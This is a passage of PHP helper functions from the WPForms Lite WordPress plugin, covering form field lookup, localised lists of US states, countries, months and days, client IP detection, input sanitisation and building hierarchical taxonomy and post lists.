function wpforms_max_upload( $bytes = false ) {
$max = wp_max_upload_size();
if ( $bytes ) {
return $max;
} else {
return wpforms_size_to_megabytes( $max );
}
}
/**
* Retrieve actual fields from a form.
*
* Non-posting elements such as section divider, page break, and HTML are
* automatically excluded. Optionally a white list can be provided.
*
* @since 1.0.0
*
* @param mixed $form
* @param array $whitelist
*
* @return mixed boolean or array
*/
function wpforms_get_form_fields( $form = false, $whitelist = array() ) {
// Accept form (post) object or form ID.
if ( is_object( $form ) ) {
$form = wpforms_decode( $form->post_content );
} elseif ( is_numeric( $form ) ) {
$form = wpforms()->form->get(
$form,
array(
'content_only' => true,
)
);
}
if ( ! is_array( $form ) || empty( $form['fields'] ) ) {
return false;
}
// White list of field types to allow.
$allowed_form_fields = array(
'text',
'textarea',
'select',
'radio',
'checkbox',
'gdpr-checkbox',
'email',
'address',
'url',
'name',
'hidden',
'date-time',
'phone',
'number',
'file-upload',
'rating',
'likert_scale',
'signature',
'payment-single',
'payment-multiple',
'payment-select',
'payment-total',
'net_promoter_score',
);
$allowed_form_fields = apply_filters( 'wpforms_get_form_fields_allowed', $allowed_form_fields );
$whitelist = ! empty( $whitelist ) ? $whitelist : $allowed_form_fields;
$form_fields = $form['fields'];
foreach ( $form_fields as $id => $form_field ) {
if ( ! in_array( $form_field['type'], $whitelist, true ) ) {
unset( $form_fields[ $id ] );
}
}
return $form_fields;
}
/**
* Get meta key value for a form field.
*
* @since 1.1.9
*
* @param int|string $id Field ID.
* @param string $key Meta key.
* @param mixed $form_data Form data array.
*
* @return string
*/
function wpforms_get_form_field_meta( $id = '', $key = '', $form_data = '' ) {
if ( empty( $id ) || empty( $key ) || empty( $form_data ) ) {
return '';
}
if ( ! empty( $form_data['fields'][ $id ]['meta'][ $key ] ) ) {
return $form_data['fields'][ $id ]['meta'][ $key ];
} else {
return '';
}
}
/**
* Get meta key value for a form field.
*
* @since 1.3.1
* @since 1.5.0 More strict parameters. Always return an array.
*
* @param string $key Meta key.
* @param string $value Meta value to check against.
* @param array $form_data Form data array.
*
* @return array|bool Empty array, when no data is found.
*/
function wpforms_get_form_fields_by_meta( $key, $value, $form_data ) {
$found = array();
if ( empty( $key ) || empty( $value ) || empty( $form_data['fields'] ) ) {
return $found;
}
foreach ( $form_data['fields'] as $id => $field ) {
if ( ! empty( $field['meta'][ $key ] ) && $value === $field['meta'][ $key ] ) {
$found[ $id ] = $field;
}
}
return $found;
}
/**
* US States.
*
* @since 1.0.0
*
* @return array
*/
function wpforms_us_states() {
$states = array(
'AL' => esc_html__( 'Alabama', 'wpforms-lite' ),
'AK' => esc_html__( 'Alaska', 'wpforms-lite' ),
'AZ' => esc_html__( 'Arizona', 'wpforms-lite' ),
'AR' => esc_html__( 'Arkansas', 'wpforms-lite' ),
'CA' => esc_html__( 'California', 'wpforms-lite' ),
'CO' => esc_html__( 'Colorado', 'wpforms-lite' ),
'CT' => esc_html__( 'Connecticut', 'wpforms-lite' ),
'DE' => esc_html__( 'Delaware', 'wpforms-lite' ),
'DC' => esc_html__( 'District of Columbia', 'wpforms-lite' ),
'FL' => esc_html__( 'Florida', 'wpforms-lite' ),
'GA' => esc_html_x( 'Georgia', 'US State', 'wpforms-lite' ),
'HI' => esc_html__( 'Hawaii', 'wpforms-lite' ),
'ID' => esc_html__( 'Idaho', 'wpforms-lite' ),
'IL' => esc_html__( 'Illinois', 'wpforms-lite' ),
'IN' => esc_html__( 'Indiana', 'wpforms-lite' ),
'IA' => esc_html__( 'Iowa', 'wpforms-lite' ),
'KS' => esc_html__( 'Kansas', 'wpforms-lite' ),
'KY' => esc_html__( 'Kentucky', 'wpforms-lite' ),
'LA' => esc_html__( 'Louisiana', 'wpforms-lite' ),
'ME' => esc_html__( 'Maine', 'wpforms-lite' ),
'MD' => esc_html__( 'Maryland', 'wpforms-lite' ),
'MA' => esc_html__( 'Massachusetts', 'wpforms-lite' ),
'MI' => esc_html__( 'Michigan', 'wpforms-lite' ),
'MN' => esc_html__( 'Minnesota', 'wpforms-lite' ),
'MS' => esc_html__( 'Mississippi', 'wpforms-lite' ),
'MO' => esc_html__( 'Missouri', 'wpforms-lite' ),
'MT' => esc_html__( 'Montana', 'wpforms-lite' ),
'NE' => esc_html__( 'Nebraska', 'wpforms-lite' ),
'NV' => esc_html__( 'Nevada', 'wpforms-lite' ),
'NH' => esc_html__( 'New Hampshire', 'wpforms-lite' ),
'NJ' => esc_html__( 'New Jersey', 'wpforms-lite' ),
'NM' => esc_html__( 'New Mexico', 'wpforms-lite' ),
'NY' => esc_html__( 'New York', 'wpforms-lite' ),
'NC' => esc_html__( 'North Carolina', 'wpforms-lite' ),
'ND' => esc_html__( 'North Dakota', 'wpforms-lite' ),
'OH' => esc_html__( 'Ohio', 'wpforms-lite' ),
'OK' => esc_html__( 'Oklahoma', 'wpforms-lite' ),
'OR' => esc_html__( 'Oregon', 'wpforms-lite' ),
'PA' => esc_html__( 'Pennsylvania', 'wpforms-lite' ),
'RI' => esc_html__( 'Rhode Island', 'wpforms-lite' ),
'SC' => esc_html__( 'South Carolina', 'wpforms-lite' ),
'SD' => esc_html__( 'South Dakota', 'wpforms-lite' ),
'TN' => esc_html__( 'Tennessee', 'wpforms-lite' ),
'TX' => esc_html__( 'Texas', 'wpforms-lite' ),
'UT' => esc_html__( 'Utah', 'wpforms-lite' ),
'VT' => esc_html__( 'Vermont', 'wpforms-lite' ),
'VA' => esc_html__( 'Virginia', 'wpforms-lite' ),
'WA' => esc_html__( 'Washington', 'wpforms-lite' ),
'WV' => esc_html__( 'West Virginia', 'wpforms-lite' ),
'WI' => esc_html__( 'Wisconsin', 'wpforms-lite' ),
'WY' => esc_html__( 'Wyoming', 'wpforms-lite' ),
);
return apply_filters( 'wpforms_us_states', $states );
}
/**
* Countries.
*
* @since 1.0.0
*
* @return array
*/
function wpforms_countries() {
$countries = array(
'AF' => esc_html__( 'Afghanistan', 'wpforms-lite' ),
'AX' => esc_html__( 'Åland Islands', 'wpforms-lite' ),
'AL' => esc_html__( 'Albania', 'wpforms-lite' ),
'DZ' => esc_html__( 'Algeria', 'wpforms-lite' ),
'AS' => esc_html__( 'American Samoa', 'wpforms-lite' ),
'AD' => esc_html__( 'Andorra', 'wpforms-lite' ),
'AO' => esc_html__( 'Angola', 'wpforms-lite' ),
'AI' => esc_html__( 'Anguilla', 'wpforms-lite' ),
'AQ' => esc_html__( 'Antarctica', 'wpforms-lite' ),
'AG' => esc_html__( 'Antigua and Barbuda', 'wpforms-lite' ),
'AR' => esc_html__( 'Argentina', 'wpforms-lite' ),
'AM' => esc_html__( 'Armenia', 'wpforms-lite' ),
'AW' => esc_html__( 'Aruba', 'wpforms-lite' ),
'AU' => esc_html__( 'Australia', 'wpforms-lite' ),
'AT' => esc_html__( 'Austria', 'wpforms-lite' ),
'AZ' => esc_html__( 'Azerbaijan', 'wpforms-lite' ),
'BS' => esc_html__( 'Bahamas', 'wpforms-lite' ),
'BH' => esc_html__( 'Bahrain', 'wpforms-lite' ),
'BD' => esc_html__( 'Bangladesh', 'wpforms-lite' ),
'BB' => esc_html__( 'Barbados', 'wpforms-lite' ),
'BY' => esc_html__( 'Belarus', 'wpforms-lite' ),
'BE' => esc_html__( 'Belgium', 'wpforms-lite' ),
'BZ' => esc_html__( 'Belize', 'wpforms-lite' ),
'BJ' => esc_html__( 'Benin', 'wpforms-lite' ),
'BM' => esc_html__( 'Bermuda', 'wpforms-lite' ),
'BT' => esc_html__( 'Bhutan', 'wpforms-lite' ),
'BO' => esc_html__( 'Bolivia (Plurinational State of)', 'wpforms-lite' ),
'BA' => esc_html__( 'Bosnia and Herzegovina', 'wpforms-lite' ),
'BW' => esc_html__( 'Botswana', 'wpforms-lite' ),
'BV' => esc_html__( 'Bouvet Island', 'wpforms-lite' ),
'BR' => esc_html__( 'Brazil', 'wpforms-lite' ),
'IO' => esc_html__( 'British Indian Ocean Territory', 'wpforms-lite' ),
'BN' => esc_html__( 'Brunei Darussalam', 'wpforms-lite' ),
'BG' => esc_html__( 'Bulgaria', 'wpforms-lite' ),
'BF' => esc_html__( 'Burkina Faso', 'wpforms-lite' ),
'BI' => esc_html__( 'Burundi', 'wpforms-lite' ),
'CV' => esc_html__( 'Cabo Verde', 'wpforms-lite' ),
'KH' => esc_html__( 'Cambodia', 'wpforms-lite' ),
'CM' => esc_html__( 'Cameroon', 'wpforms-lite' ),
'CA' => esc_html__( 'Canada', 'wpforms-lite' ),
'KY' => esc_html__( 'Cayman Islands', 'wpforms-lite' ),
'CF' => esc_html__( 'Central African Republic', 'wpforms-lite' ),
'TD' => esc_html__( 'Chad', 'wpforms-lite' ),
'CL' => esc_html__( 'Chile', 'wpforms-lite' ),
'CN' => esc_html__( 'China', 'wpforms-lite' ),
'CX' => esc_html__( 'Christmas Island', 'wpforms-lite' ),
'CC' => esc_html__( 'Cocos (Keeling) Islands', 'wpforms-lite' ),
'CO' => esc_html__( 'Colombia', 'wpforms-lite' ),
'KM' => esc_html__( 'Comoros', 'wpforms-lite' ),
'CG' => esc_html__( 'Congo', 'wpforms-lite' ),
'CD' => esc_html__( 'Congo (Democratic Republic of the)', 'wpforms-lite' ),
'CK' => esc_html__( 'Cook Islands', 'wpforms-lite' ),
'CR' => esc_html__( 'Costa Rica', 'wpforms-lite' ),
'CI' => esc_html__( 'Côte d\'Ivoire', 'wpforms-lite' ),
'HR' => esc_html__( 'Croatia', 'wpforms-lite' ),
'CU' => esc_html__( 'Cuba', 'wpforms-lite' ),
'CW' => esc_html__( 'Curaçao', 'wpforms-lite' ),
'CY' => esc_html__( 'Cyprus', 'wpforms-lite' ),
'CZ' => esc_html__( 'Czech Republic', 'wpforms-lite' ),
'DK' => esc_html__( 'Denmark', 'wpforms-lite' ),
'DJ' => esc_html__( 'Djibouti', 'wpforms-lite' ),
'DM' => esc_html__( 'Dominica', 'wpforms-lite' ),
'DO' => esc_html__( 'Dominican Republic', 'wpforms-lite' ),
'EC' => esc_html__( 'Ecuador', 'wpforms-lite' ),
'EG' => esc_html__( 'Egypt', 'wpforms-lite' ),
'SV' => esc_html__( 'El Salvador', 'wpforms-lite' ),
'GQ' => esc_html__( 'Equatorial Guinea', 'wpforms-lite' ),
'ER' => esc_html__( 'Eritrea', 'wpforms-lite' ),
'EE' => esc_html__( 'Estonia', 'wpforms-lite' ),
'ET' => esc_html__( 'Ethiopia', 'wpforms-lite' ),
'FK' => esc_html__( 'Falkland Islands (Malvinas)', 'wpforms-lite' ),
'FO' => esc_html__( 'Faroe Islands', 'wpforms-lite' ),
'FJ' => esc_html__( 'Fiji', 'wpforms-lite' ),
'FI' => esc_html__( 'Finland', 'wpforms-lite' ),
'FR' => esc_html__( 'France', 'wpforms-lite' ),
'GF' => esc_html__( 'French Guiana', 'wpforms-lite' ),
'PF' => esc_html__( 'French Polynesia', 'wpforms-lite' ),
'TF' => esc_html__( 'French Southern Territories', 'wpforms-lite' ),
'GA' => esc_html__( 'Gabon', 'wpforms-lite' ),
'GM' => esc_html__( 'Gambia', 'wpforms-lite' ),
'GE' => esc_html_x( 'Georgia', 'Country', 'wpforms-lite' ),
'DE' => esc_html__( 'Germany', 'wpforms-lite' ),
'GH' => esc_html__( 'Ghana', 'wpforms-lite' ),
'GI' => esc_html__( 'Gibraltar', 'wpforms-lite' ),
'GR' => esc_html__( 'Greece', 'wpforms-lite' ),
'GL' => esc_html__( 'Greenland', 'wpforms-lite' ),
'GD' => esc_html__( 'Grenada', 'wpforms-lite' ),
'GP' => esc_html__( 'Guadeloupe', 'wpforms-lite' ),
'GU' => esc_html__( 'Guam', 'wpforms-lite' ),
'GT' => esc_html__( 'Guatemala', 'wpforms-lite' ),
'GG' => esc_html__( 'Guernsey', 'wpforms-lite' ),
'GN' => esc_html__( 'Guinea', 'wpforms-lite' ),
'GW' => esc_html__( 'Guinea-Bissau', 'wpforms-lite' ),
'GY' => esc_html__( 'Guyana', 'wpforms-lite' ),
'HT' => esc_html__( 'Haiti', 'wpforms-lite' ),
'HM' => esc_html__( 'Heard Island and McDonald Islands', 'wpforms-lite' ),
'HN' => esc_html__( 'Honduras', 'wpforms-lite' ),
'HK' => esc_html__( 'Hong Kong', 'wpforms-lite' ),
'HU' => esc_html__( 'Hungary', 'wpforms-lite' ),
'IS' => esc_html__( 'Iceland', 'wpforms-lite' ),
'IN' => esc_html__( 'India', 'wpforms-lite' ),
'ID' => esc_html__( 'Indonesia', 'wpforms-lite' ),
'IR' => esc_html__( 'Iran (Islamic Republic of)', 'wpforms-lite' ),
'IQ' => esc_html__( 'Iraq', 'wpforms-lite' ),
'IE' => esc_html__( 'Ireland (Republic of)', 'wpforms-lite' ),
'IM' => esc_html__( 'Isle of Man', 'wpforms-lite' ),
'IL' => esc_html__( 'Israel', 'wpforms-lite' ),
'IT' => esc_html__( 'Italy', 'wpforms-lite' ),
'JM' => esc_html__( 'Jamaica', 'wpforms-lite' ),
'JP' => esc_html__( 'Japan', 'wpforms-lite' ),
'JE' => esc_html__( 'Jersey', 'wpforms-lite' ),
'JO' => esc_html__( 'Jordan', 'wpforms-lite' ),
'KZ' => esc_html__( 'Kazakhstan', 'wpforms-lite' ),
'KE' => esc_html__( 'Kenya', 'wpforms-lite' ),
'KI' => esc_html__( 'Kiribati', 'wpforms-lite' ),
'KP' => esc_html__( 'Korea (Democratic People\'s Republic of)', 'wpforms-lite' ),
'KR' => esc_html__( 'Korea (Republic of)', 'wpforms-lite' ),
'KW' => esc_html__( 'Kuwait', 'wpforms-lite' ),
'KG' => esc_html__( 'Kyrgyzstan', 'wpforms-lite' ),
'LA' => esc_html__( 'Lao People\'s Democratic Republic', 'wpforms-lite' ),
'LV' => esc_html__( 'Latvia', 'wpforms-lite' ),
'LB' => esc_html__( 'Lebanon', 'wpforms-lite' ),
'LS' => esc_html__( 'Lesotho', 'wpforms-lite' ),
'LR' => esc_html__( 'Liberia', 'wpforms-lite' ),
'LY' => esc_html__( 'Libya', 'wpforms-lite' ),
'LI' => esc_html__( 'Liechtenstein', 'wpforms-lite' ),
'LT' => esc_html__( 'Lithuania', 'wpforms-lite' ),
'LU' => esc_html__( 'Luxembourg', 'wpforms-lite' ),
'MO' => esc_html__( 'Macao', 'wpforms-lite' ),
'MK' => esc_html__( 'Macedonia (Republic of)', 'wpforms-lite' ),
'MG' => esc_html__( 'Madagascar', 'wpforms-lite' ),
'MW' => esc_html__( 'Malawi', 'wpforms-lite' ),
'MY' => esc_html__( 'Malaysia', 'wpforms-lite' ),
'MV' => esc_html__( 'Maldives', 'wpforms-lite' ),
'ML' => esc_html__( 'Mali', 'wpforms-lite' ),
'MT' => esc_html__( 'Malta', 'wpforms-lite' ),
'MH' => esc_html__( 'Marshall Islands', 'wpforms-lite' ),
'MQ' => esc_html__( 'Martinique', 'wpforms-lite' ),
'MR' => esc_html__( 'Mauritania', 'wpforms-lite' ),
'MU' => esc_html__( 'Mauritius', 'wpforms-lite' ),
'YT' => esc_html__( 'Mayotte', 'wpforms-lite' ),
'MX' => esc_html__( 'Mexico', 'wpforms-lite' ),
'FM' => esc_html__( 'Micronesia (Federated States of)', 'wpforms-lite' ),
'MD' => esc_html__( 'Moldova (Republic of)', 'wpforms-lite' ),
'MC' => esc_html__( 'Monaco', 'wpforms-lite' ),
'MN' => esc_html__( 'Mongolia', 'wpforms-lite' ),
'ME' => esc_html__( 'Montenegro', 'wpforms-lite' ),
'MS' => esc_html__( 'Montserrat', 'wpforms-lite' ),
'MA' => esc_html__( 'Morocco', 'wpforms-lite' ),
'MZ' => esc_html__( 'Mozambique', 'wpforms-lite' ),
'MM' => esc_html__( 'Myanmar', 'wpforms-lite' ),
'NA' => esc_html__( 'Namibia', 'wpforms-lite' ),
'NR' => esc_html__( 'Nauru', 'wpforms-lite' ),
'NP' => esc_html__( 'Nepal', 'wpforms-lite' ),
'NL' => esc_html__( 'Netherlands', 'wpforms-lite' ),
'NC' => esc_html__( 'New Caledonia', 'wpforms-lite' ),
'NZ' => esc_html__( 'New Zealand', 'wpforms-lite' ),
'NI' => esc_html__( 'Nicaragua', 'wpforms-lite' ),
'NE' => esc_html__( 'Niger', 'wpforms-lite' ),
'NG' => esc_html__( 'Nigeria', 'wpforms-lite' ),
'NU' => esc_html__( 'Niue', 'wpforms-lite' ),
'NF' => esc_html__( 'Norfolk Island', 'wpforms-lite' ),
'MP' => esc_html__( 'Northern Mariana Islands', 'wpforms-lite' ),
'NO' => esc_html__( 'Norway', 'wpforms-lite' ),
'OM' => esc_html__( 'Oman', 'wpforms-lite' ),
'PK' => esc_html__( 'Pakistan', 'wpforms-lite' ),
'PW' => esc_html__( 'Palau', 'wpforms-lite' ),
'PS' => esc_html__( 'Palestine (State of)', 'wpforms-lite' ),
'PA' => esc_html__( 'Panama', 'wpforms-lite' ),
'PG' => esc_html__( 'Papua New Guinea', 'wpforms-lite' ),
'PY' => esc_html__( 'Paraguay', 'wpforms-lite' ),
'PE' => esc_html__( 'Peru', 'wpforms-lite' ),
'PH' => esc_html__( 'Philippines', 'wpforms-lite' ),
'PN' => esc_html__( 'Pitcairn', 'wpforms-lite' ),
'PL' => esc_html__( 'Poland', 'wpforms-lite' ),
'PT' => esc_html__( 'Portugal', 'wpforms-lite' ),
'PR' => esc_html__( 'Puerto Rico', 'wpforms-lite' ),
'QA' => esc_html__( 'Qatar', 'wpforms-lite' ),
'RE' => esc_html__( 'Réunion', 'wpforms-lite' ),
'RO' => esc_html__( 'Romania', 'wpforms-lite' ),
'RU' => esc_html__( 'Russian Federation', 'wpforms-lite' ),
'RW' => esc_html__( 'Rwanda', 'wpforms-lite' ),
'BL' => esc_html__( 'Saint Barthélemy', 'wpforms-lite' ),
'SH' => esc_html__( 'Saint Helena, Ascension and Tristan da Cunha', 'wpforms-lite' ),
'KN' => esc_html__( 'Saint Kitts and Nevis', 'wpforms-lite' ),
'LC' => esc_html__( 'Saint Lucia', 'wpforms-lite' ),
'MF' => esc_html__( 'Saint Martin (French part)', 'wpforms-lite' ),
'PM' => esc_html__( 'Saint Pierre and Miquelon', 'wpforms-lite' ),
'VC' => esc_html__( 'Saint Vincent and the Grenadines', 'wpforms-lite' ),
'WS' => esc_html__( 'Samoa', 'wpforms-lite' ),
'SM' => esc_html__( 'San Marino', 'wpforms-lite' ),
'ST' => esc_html__( 'Sao Tome and Principe', 'wpforms-lite' ),
'SA' => esc_html__( 'Saudi Arabia', 'wpforms-lite' ),
'SN' => esc_html__( 'Senegal', 'wpforms-lite' ),
'RS' => esc_html__( 'Serbia', 'wpforms-lite' ),
'SC' => esc_html__( 'Seychelles', 'wpforms-lite' ),
'SL' => esc_html__( 'Sierra Leone', 'wpforms-lite' ),
'SG' => esc_html__( 'Singapore', 'wpforms-lite' ),
'SX' => esc_html__( 'Sint Maarten (Dutch part)', 'wpforms-lite' ),
'SK' => esc_html__( 'Slovakia', 'wpforms-lite' ),
'SI' => esc_html__( 'Slovenia', 'wpforms-lite' ),
'SB' => esc_html__( 'Solomon Islands', 'wpforms-lite' ),
'SO' => esc_html__( 'Somalia', 'wpforms-lite' ),
'ZA' => esc_html__( 'South Africa', 'wpforms-lite' ),
'GS' => esc_html__( 'South Georgia and the South Sandwich Islands', 'wpforms-lite' ),
'SS' => esc_html__( 'South Sudan', 'wpforms-lite' ),
'ES' => esc_html__( 'Spain', 'wpforms-lite' ),
'LK' => esc_html__( 'Sri Lanka', 'wpforms-lite' ),
'SD' => esc_html__( 'Sudan', 'wpforms-lite' ),
'SR' => esc_html__( 'Suriname', 'wpforms-lite' ),
'SJ' => esc_html__( 'Svalbard and Jan Mayen', 'wpforms-lite' ),
'SZ' => esc_html__( 'Swaziland', 'wpforms-lite' ),
'SE' => esc_html__( 'Sweden', 'wpforms-lite' ),
'CH' => esc_html__( 'Switzerland', 'wpforms-lite' ),
'SY' => esc_html__( 'Syrian Arab Republic', 'wpforms-lite' ),
'TW' => esc_html__( 'Taiwan, Province of China', 'wpforms-lite' ),
'TJ' => esc_html__( 'Tajikistan', 'wpforms-lite' ),
'TZ' => esc_html__( 'Tanzania (United Republic of)', 'wpforms-lite' ),
'TH' => esc_html__( 'Thailand', 'wpforms-lite' ),
'TL' => esc_html__( 'Timor-Leste', 'wpforms-lite' ),
'TG' => esc_html__( 'Togo', 'wpforms-lite' ),
'TK' => esc_html__( 'Tokelau', 'wpforms-lite' ),
'TO' => esc_html__( 'Tonga', 'wpforms-lite' ),
'TT' => esc_html__( 'Trinidad and Tobago', 'wpforms-lite' ),
'TN' => esc_html__( 'Tunisia', 'wpforms-lite' ),
'TR' => esc_html__( 'Turkey', 'wpforms-lite' ),
'TM' => esc_html__( 'Turkmenistan', 'wpforms-lite' ),
'TC' => esc_html__( 'Turks and Caicos Islands', 'wpforms-lite' ),
'TV' => esc_html__( 'Tuvalu', 'wpforms-lite' ),
'UG' => esc_html__( 'Uganda', 'wpforms-lite' ),
'UA' => esc_html__( 'Ukraine', 'wpforms-lite' ),
'AE' => esc_html__( 'United Arab Emirates', 'wpforms-lite' ),
'GB' => esc_html__( 'United Kingdom of Great Britain and Northern Ireland', 'wpforms-lite' ),
'US' => esc_html__( 'United States of America', 'wpforms-lite' ),
'UM' => esc_html__( 'United States Minor Outlying Islands', 'wpforms-lite' ),
'UY' => esc_html__( 'Uruguay', 'wpforms-lite' ),
'UZ' => esc_html__( 'Uzbekistan', 'wpforms-lite' ),
'VU' => esc_html__( 'Vanuatu', 'wpforms-lite' ),
'VA' => esc_html__( 'Vatican City State', 'wpforms-lite' ),
'VE' => esc_html__( 'Venezuela (Bolivarian Republic of)', 'wpforms-lite' ),
'VN' => esc_html__( 'Viet Nam', 'wpforms-lite' ),
'VG' => esc_html__( 'Virgin Islands (British)', 'wpforms-lite' ),
'VI' => esc_html__( 'Virgin Islands (U.S.)', 'wpforms-lite' ),
'WF' => esc_html__( 'Wallis and Futuna', 'wpforms-lite' ),
'EH' => esc_html__( 'Western Sahara', 'wpforms-lite' ),
'YE' => esc_html__( 'Yemen', 'wpforms-lite' ),
'ZM' => esc_html__( 'Zambia', 'wpforms-lite' ),
'ZW' => esc_html__( 'Zimbabwe', 'wpforms-lite' ),
);
return apply_filters( 'wpforms_countries', $countries );
}
/**
* Calendar Months.
*
* @since 1.3.7
* @return array
*/
function wpforms_months() {
$months = array(
'Jan' => esc_html__( 'January', 'wpforms-lite' ),
'Feb' => esc_html__( 'February', 'wpforms-lite' ),
'Mar' => esc_html__( 'March', 'wpforms-lite' ),
'Apr' => esc_html__( 'April', 'wpforms-lite' ),
'May' => esc_html__( 'May', 'wpforms-lite' ),
'Jun' => esc_html__( 'June', 'wpforms-lite' ),
'Jul' => esc_html__( 'July', 'wpforms-lite' ),
'Aug' => esc_html__( 'August', 'wpforms-lite' ),
'Sep' => esc_html__( 'September', 'wpforms-lite' ),
'Oct' => esc_html__( 'October', 'wpforms-lite' ),
'Nov' => esc_html__( 'November', 'wpforms-lite' ),
'Dec' => esc_html__( 'December', 'wpforms-lite' ),
);
return apply_filters( 'wpforms_months', $months );
}
/**
* Calendar Days.
*
* @since 1.3.7
* @return array
*/
function wpforms_days() {
$days = array(
'Sun' => esc_html__( 'Sunday', 'wpforms-lite' ),
'Mon' => esc_html__( 'Monday', 'wpforms-lite' ),
'Tue' => esc_html__( 'Tuesday', 'wpforms-lite' ),
'Wed' => esc_html__( 'Wednesday', 'wpforms-lite' ),
'Thu' => esc_html__( 'Thursday', 'wpforms-lite' ),
'Fri' => esc_html__( 'Friday', 'wpforms-lite' ),
'Sat' => esc_html__( 'Saturday', 'wpforms-lite' ),
);
return apply_filters( 'wpforms_days', $days );
}
/**
* Lookup user IP.
*
* There are many ways to do this, but we prefer the way EDD does it.
* https://github.com/easydigitaldownloads/easy-digital-downloads/blob/master/includes/misc-functions.php#L163
*
* @since 1.2.5
* @return string
*/
function wpforms_get_ip() {
$ip = '127.0.0.1';
if ( ! empty( $_SERVER['HTTP_CLIENT_IP'] ) ) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif ( ! empty( $_SERVER['REMOTE_ADDR'] ) ) {
$ip = $_SERVER['REMOTE_ADDR'];
}
// Fix potential CSV returned from $_SERVER variables
$ip_array = array_map( 'trim', explode( ',', $ip ) );
return $ip_array[0];
}
/**
* Sanitizes hex color.
*
* @since 1.2.1
*
* @param string $color
*
* @return string
*/
function wpforms_sanitize_hex_color( $color ) {
if ( empty( $color ) ) {
return '';
}
// 3 or 6 hex digits, or the empty string.
if ( preg_match( '|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) ) {
return $color;
}
return '';
}
/**
* Sanitizes error message, primarily used during form frontend output.
*
* @since 1.3.7
*
* @param string $error
*
* @return string
*/
function wpforms_sanitize_error( $error = '' ) {
$allow = array(
'a' => array(
'href' => array(),
'title' => array(),
),
'br' => array(),
'em' => array(),
'strong' => array(),
'p' => array(),
);
return wp_kses( $error, $allow );
}
/**
* Sanitizes a string, that can be a multiline.
* If WP core `sanitize_textarea_field()` exists (after 4.7.0) - use it.
* Otherwise - split onto separate lines, sanitize each one, merge again.
*
* @since 1.4.1
*
* @param string $string
*
* @return string If empty var is passed, or not a string - return unmodified. Otherwise - sanitize.
*/
function wpforms_sanitize_textarea_field( $string ) {
if ( empty( $string ) || ! is_string( $string ) ) {
return $string;
}
if ( function_exists( 'sanitize_textarea_field' ) ) {
$string = sanitize_textarea_field( $string );
} else {
$string = implode( "\n", array_map( 'sanitize_text_field', explode( "\n", $string ) ) );
}
return $string;
}
/**
* Sanitizes an array, that consists of values as strings.
* After that - merge all array values into multiline string.
*
* @since 1.4.1
*
* @param array $array
*
* @return mixed If not an array is passed (or empty var) - return unmodified var. Otherwise - a merged array into multiline string.
*/
function wpforms_sanitize_array_combine( $array ) {
if ( empty( $array ) || ! is_array( $array ) ) {
return $array;
}
return implode( "\n", array_map( 'sanitize_text_field', $array ) );
}
/**
* Detect if we should use a light or dark color based on the color given.
*
* @since 1.2.5
* @link https://docs.woocommerce.com/wc-apidocs/source-function-wc_light_or_dark.html#608-627
*
* @param mixed $color
* @param string $dark (default: '#000000').
* @param string $light (default: '#FFFFFF').
*
* @return string
*/
function wpforms_light_or_dark( $color, $dark = '#000000', $light = '#FFFFFF' ) {
$hex = str_replace( '#', '', $color );
$c_r = hexdec( substr( $hex, 0, 2 ) );
$c_g = hexdec( substr( $hex, 2, 2 ) );
$c_b = hexdec( substr( $hex, 4, 2 ) );
$brightness = ( ( $c_r * 299 ) + ( $c_g * 587 ) + ( $c_b * 114 ) ) / 1000;
return $brightness > 155 ? $dark : $light;
}
/**
* Builds and returns either a taxonomy or post type object that is
* nests to accommodate any hierarchy.
*
* @since 1.3.9
* @since 1.5.0 Return array only. Empty array of no data.
*
* @param array $args Object arguments to pass to data retrieval function.
* @param bool $flat Preserve hierarchy or not. False by default - preserve it.
*
* @return array
*/
function wpforms_get_hierarchical_object( $args = array(), $flat = false ) {
if ( empty( $args['taxonomy'] ) && empty( $args['post_type'] ) ) {
return array();
}
$children = array();
$parents = array();
$ref_parent = '';
$ref_name = '';
if ( ! empty( $args['post_type'] ) ) {
$defaults = array(
'posts_per_page' => - 1,
'orderby' => 'title',
'order' => 'ASC',
);
$args = wp_parse_args( $args, $defaults );
$items = get_posts( $args );
$ref_parent = 'post_parent';
$ref_id = 'ID';
$ref_name = 'post_title';
} elseif ( ! empty( $args['taxonomy'] ) ) {
$defaults = array(
'hide_empty' => false,
);
$args = wp_parse_args( $args, $defaults );
$items = get_terms( $args );
$ref_parent = 'parent';
$ref_id = 'term_id';
$ref_name = 'name';
}
if ( empty( $items ) || is_wp_error( $items ) ) {
return array();
}
foreach ( $items as $item ) {
if ( $item->{$ref_parent} ) {
$children[ $item->{$ref_id} ] = $item;
$children[ $item->{$ref_id} ]->ID = (int) $item->{$ref_id};
} else {
$parents[ $item->{$ref_id} ] = $item;
$parents[ $item->{$ref_id} ]->ID = (int) $item->{$ref_id};
}
}
$children_count = count( $children );
while ( $children_count >= 1 ) {
foreach ( $children as $child ) {
_wpforms_get_hierarchical_object_search( $child, $parents, $children, $ref_parent );
// $children is modified by reference, so we need to recount to make sure we met the limits.
$children_count = count( $children );
}
}
if ( $flat ) {
$parents_flat = array();
_wpforms_get_hierarchical_object_flatten( $parents, $parents_flat, $ref_name );
return $parents_flat;
}
return $parents;
}
/**
* Searches a given array and finds the parent of the provided object.
*
* @since 1.3.9
*
* @param object $child
* @param array $parents
* @param array $children
* @param string $ref_parent
*/
function _wpforms_get_hierarchical_object_search( $child, &$parents, &$children, $ref_parent ) {
foreach ( $parents as $id => $parent ) {
if ( $parent->ID === $child->{$ref_parent} ) {
if ( empty( $parent->children ) ) {
$parents[ $id ]->children = array(
$child->ID => $child,
);
} else {
$parents[ $id ]->children[ $child->ID ] = $child;
}
unset( $children[ $child->ID ] );
} elseif ( ! empty( $parent->children ) && is_array( $parent->children ) ) {
_wpforms_get_hierarchical_object_search( $child, $parent->children, $children, $ref_parent );
}
}
}
/**
* Flattens a hierarchical object.
*
* @since 1.3.9
*
* @param array $array
* @param array $output
* @param string $ref_name
* @param int $level
*/
function _wpforms_get_hierarchical_object_flatten( $array, &$output, $ref_name = 'name', $level = 0 ) {
foreach ( $array as $key => $item ) {
$indicator = apply_filters( 'wpforms_hierarchical_object_indicator', '—' );
$item->{$ref_name} = str_repeat( $indicator, $level ) . ' ' . $item->{$ref_name};
$item->depth = $level + 1;
$output[ $item->ID ] = $item;
if ( ! empty( $item->children ) ) {
_wpforms_get_hierarchical_object_flatten( $item->children, $output, $ref_name, $level + 1 );
unset( $output[ $item->ID ]->children );
}
}
}
